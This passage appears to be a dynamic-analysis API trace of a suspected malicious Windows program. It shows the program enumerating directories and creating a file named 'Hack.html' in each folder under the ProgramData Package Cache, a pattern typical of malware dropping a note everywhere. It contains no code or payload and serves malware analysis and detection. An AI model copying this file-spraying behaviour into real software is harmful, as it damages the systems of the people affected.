(dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.551] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.552] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.552] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.552] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.552] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.552] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.553] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.553] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.553] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.553] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.553] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.553] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.554] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.554] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.554] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0071.554] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.555] GetFileType (hFile=0x174) returned 0x1 [0071.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0071.555] GetFileType (hFile=0x174) returned 0x1 [0071.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.556] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.557] GetFileType (hFile=0x174) returned 0x1 [0071.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.558] GetFileType (hFile=0x174) returned 0x1 [0071.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.559] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.560] GetFileType (hFile=0x174) returned 0x1 [0071.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.560] GetFileType (hFile=0x174) returned 0x1 [0071.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.561] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.561] GetFileType (hFile=0x174) returned 0x1 [0071.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.561] GetFileType (hFile=0x174) returned 0x1 [0071.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.563] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.563] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.563] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.565] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.565] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.565] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.566] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.567] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0071.567] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.568] GetFileType (hFile=0x174) returned 0x1 [0071.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0071.568] GetFileType (hFile=0x174) returned 0x1 [0071.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.569] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.569] GetFileType (hFile=0x174) returned 0x1 [0071.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.569] GetFileType (hFile=0x174) returned 0x1 [0071.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.571] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.572] GetFileType (hFile=0x174) returned 0x1 [0071.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.572] GetFileType (hFile=0x174) returned 0x1 [0071.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.573] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.573] GetFileType (hFile=0x174) returned 0x1 [0071.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.573] GetFileType (hFile=0x174) returned 0x1 [0071.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.575] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.575] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.575] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.576] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.576] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.576] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.577] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.578] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.580] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.580] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.580] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.580] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.581] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.583] GetFileType (hFile=0x174) returned 0x1 [0071.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.583] GetFileType (hFile=0x174) returned 0x1 [0071.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.584] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.586] GetFileType (hFile=0x174) returned 0x1 [0071.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.586] GetFileType (hFile=0x174) returned 0x1 [0071.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.587] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Hack.html" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.588] GetFileType (hFile=0x174) returned 0x1 [0071.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.588] GetFileType (hFile=0x174) returned 0x1 [0071.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.589] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.590] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Hack.html" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.592] GetFileType (hFile=0x174) returned 0x1 [0071.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.592] GetFileType (hFile=0x174) returned 0x1 [0071.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.594] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.594] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.594] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.595] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0071.597] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.599] GetFileType (hFile=0x174) returned 0x1 [0071.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0071.599] GetFileType (hFile=0x174) returned 0x1 [0071.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.600] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 